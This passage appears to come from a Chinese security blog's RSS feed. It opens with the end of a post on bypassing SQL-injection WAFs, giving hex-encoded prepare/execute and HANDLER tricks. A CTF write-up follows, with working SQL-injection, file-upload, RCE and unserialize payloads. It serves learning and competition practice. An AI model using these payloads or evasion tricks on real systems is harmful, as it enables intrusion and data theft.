</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="err">$</span><span class="n">_config</span><span class="p">[</span><span class="s1">&#39;security&#39;</span><span class="p">][</span><span class="s1">&#39;querysafe&#39;</span><span class="p">][</span><span class="s1">&#39;dnote&#39;</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">array</span><span class="p">(</span><span class="s1">&#39;/*&#39;</span><span class="p">,</span><span class="s1">&#39;*/&#39;</span><span class="p">,</span><span class="s1">&#39;#&#39;</span><span class="p">,</span><span class="s1">&#39;--&#39;</span><span class="p">,</span><span class="s1">&#39;&#34;&#39;</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="p">...</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="err">$</span><span class="n">clean</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">preg_replace</span><span class="p">(</span><span class="s2">&#34;/[^a-z0-9_\-\(\)#\*\/\&#34;</span><span class="p">]</span><span class="o">+/</span><span class="k">is</span><span class="s2">&#34;, &#34;&#34;, strtolower($clean));
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="s2">...
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="s2">if (is_array(self::$config[&#39;dfunction&#39;])) {
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="s2">    foreach (self::$config[&#39;dfunction&#39;] as $fun) {
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="s2">        if (strpos($clean, $fun . &#39;(&#39;) !== false)
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="s2">            return &#39;-1&#39;;
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="s2">    }
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="s2">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这段代码首先将SQL语句除了<code>a-z``0-9</code>和几个有限的字符外的其他所有字符替换为空，然后对其进行匹配，如果能够匹配到类似<code>unionall</code>、<code>(select</code>这样的获取数据所要用到的代码，就拒绝执行</p>
<p>但是即便是这样也还可以绕过，比如同表注入就不需要用到子查询</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">select</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">test</span><span class="w"> </span><span class="k">where</span><span class="w"> </span><span class="n">test3</span><span class="o">=-</span><span class="mi">1</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="n">substr</span><span class="p">(</span><span class="n">test2</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span><span class="o">=</span><span class="mi">1</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>或者可以使用多语句的方式执行</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">set</span><span class="w"> </span><span class="o">@</span><span class="n">a</span><span class="p">:</span><span class="o">=</span><span class="mi">0</span><span class="n">x73656c656374202a2066726f6d2074657374</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="k">prepare</span><span class="w"> </span><span class="n">s</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="o">@</span><span class="n">a</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="k">execute</span><span class="w"> </span><span class="n">s</span><span class="p">;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>也可以</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">handler</span><span class="w"> </span><span class="k">user</span><span class="w"> </span><span class="k">open</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="k">handler</span><span class="w"> </span><span class="k">user</span><span class="w"> </span><span class="k">read</span><span class="w"> </span><span class="k">first</span><span class="p">;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="语义分析">语义分析<a class="anchor" href="#语义分析">#</a></h3>
<p>这是最高级的方式，模仿MySQL对SQL的分析，waf对用户的输入进行语法语义分析，如果符合MySQL的语法，就判断为SQL注入从而阻断</p>
<p>这种防护的绕过思路就是找特殊的语法，这些特殊语法waf可能没有覆盖全面，从而导致waf语义分析失败，从而进行绕过</p>
<p>例如我们上面说的MySQL8的tables和values语句就是比较新的语法，有很多waf还米有覆盖到</p>
]]></content:encoded><h:img src="https://academy.hackthebox.com/storage/modules/188/logo.png"/><enclosure url="https://academy.hackthebox.com/storage/modules/188/logo.png"/><category>WEB</category><category>SQL注入</category><category>Bypass</category></item><item><title>SWPU新生赛WriteUp</title><link>https://h4cker.zip/077813/</link><pubDate>Sat, 09 Oct 2021 14:26:39 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/077813/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>一个线上赛，这个NSSCTF最爽的就是没有靶机操作的一分钟冷却，10.11比赛结束，但是我还要看看工控，所以不打这个比赛了，先把wp写了，pwn入门真TM艰难</p>
<h2 id="web">WEB<a class="anchor" href="#web">#</a></h2>
<blockquote>
<p>前面送分题，中间的也是基础题，后面搜知识点现学现用，最后俩RCE实在做不出来</p>
</blockquote>
<p><img
  src="/077813/swpu_web.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1596" height="1334"
/>
</p>
<h3 id="gift_f12">gift_F12<a class="anchor" href="#gift_f12">#</a></h3>
<p>藏在了JS代码里，我还以为要改时间，歌还不错</p>
<p><img
  src="/077813/swpu_gift_F12.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="709" height="250"
/>
</p>
<h3 id="caidao">caidao<a class="anchor" href="#caidao">#</a></h3>
<p><img
  src="/077813/swpu_caidao.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="625" height="213"
/>
</p>
<p>太直白了，但我偏用蚁剑</p>
<h3 id="jicao">jicao<a class="anchor" href="#jicao">#</a></h3>
<p>基操</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="nx">highlight_file</span><span class="p">(</span><span class="s1">&#39;index.php&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="k">include</span><span class="p">(</span><span class="s2">&#34;flag.php&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="nv">$id</span><span class="o">=</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;id&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="nv">$json</span><span class="o">=</span><span class="nx">json_decode</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;json&#39;</span><span class="p">],</span><span class="k">true</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nv">$id</span><span class="o">==</span><span class="s2">&#34;wllmNB&#34;</span><span class="o">&amp;&amp;</span><span class="nv">$json</span><span class="p">[</span><span class="s1">&#39;x&#39;</span><span class="p">]</span><span class="o">==</span><span class="s2">&#34;wllm&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="p">{</span><span class="k">echo</span> <span class="nv">$flag</span><span class="p">;}</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>Payload:<code>GET: ?json={&quot;x&quot;:&quot;wllm&quot;}</code> <code>POST: id=wllmNB</code></p>
<h3 id="do_you_know_http">Do_you_know_http<a class="anchor" href="#do_you_know_http">#</a></h3>
<p>BP改包后，他出现success，要我自己跳转，不如HackBar<img
  src="/077813/swpu_Do_you_know_http.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1693" height="645"
/>
</p>
<h3 id="easy_md5">easy_md5<a class="anchor" href="#easy_md5">#</a></h3>
<p>没啥说的</p>
<p><img
  src="/077813/swpu_easy_md5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="702" height="755"
/>
</p>
<h3 id="easy_sql">easy_sql<a class="anchor" href="#easy_sql">#</a></h3>
<p>杰哥？入门sql</p>
<p>Payload: <code>?wllm=-1' union select 1,(select group_concat(flag) from test_db.test_tb),3--+</code></p>
<h3 id="easyupload10">easyupload1.0<a class="anchor" href="#easyupload10">#</a></h3>
<p>抓包改类型。经典image/jpeg，这题flag在环境变量$FLAG里</p>
<h3 id="easyupload20">easyupload2.0<a class="anchor" href="#easyupload20">#</a></h3>
<p>后缀改成phtml，类型image/jpeg，flag在上级目录</p>
<h3 id="easyrce">easyrce<a class="anchor" href="#easyrce">#</a></h3>
<p>先system(&rsquo;ls /&rsquo;);知道了flag文件名再cat</p>
<p><img
  src="/077813/swpu_easyrce.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="913" height="444"
/>
</p>
<h3 id="babyrce">babyrce<a class="anchor" href="#babyrce">#</a></h3>
<p>Cookie添加admin=1，提示rasalghul.php，进入页面过滤了空格，用$IFS代替，先`ls$IFS/`看文件，再cat</p>
<p><img
  src="/077813/swpu_babyrce.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="923" height="510"
/>
</p>
<p>送分题结束了</p>
<h3 id="ez_unserialize">ez_unserialize<a class="anchor" href="#ez_unserialize">#</a></h3>
<p><img
  src="/077813/swpu_ez_unserialize_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1113" height="691"
/>
</p>
<p>注释里是robots协议的格式，直接去robots看看，提示了/cl45s.php</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="nx">error_reporting</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="nx">show_source</span><span class="p">(</span><span class="s2">&#34;cl45s.php&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="k">class</span> <span class="nc">wllm</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="k">public</span> <span class="nv">$admin</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="k">public</span> <span class="nv">$passwd</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span> <span class="o">=</span><span class="s2">&#34;user&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span> <span class="o">=</span> <span class="s2">&#34;123456&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">        <span class="k">public</span> <span class="k">function</span> <span class="fm">__destruct</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span> <span class="o">===</span> <span class="s2">&#34;admin&#34;</span> <span class="o">&amp;&amp;</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span> <span class="o">===</span> <span class="s2">&#34;ctf&#34;</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">            <span class="k">include</span><span class="p">(</span><span class="s2">&#34;flag.php&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">            <span class="k">echo</span> <span class="nv">$flag</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="p">}</span><span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">            <span class="k">echo</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">            <span class="k">echo</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">            <span class="k">echo</span> <span class="s2">&#34;Just a bit more!&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="nv">$p</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;p&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="nx">unserialize</span><span class="p">(</span><span class="nv">$p</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
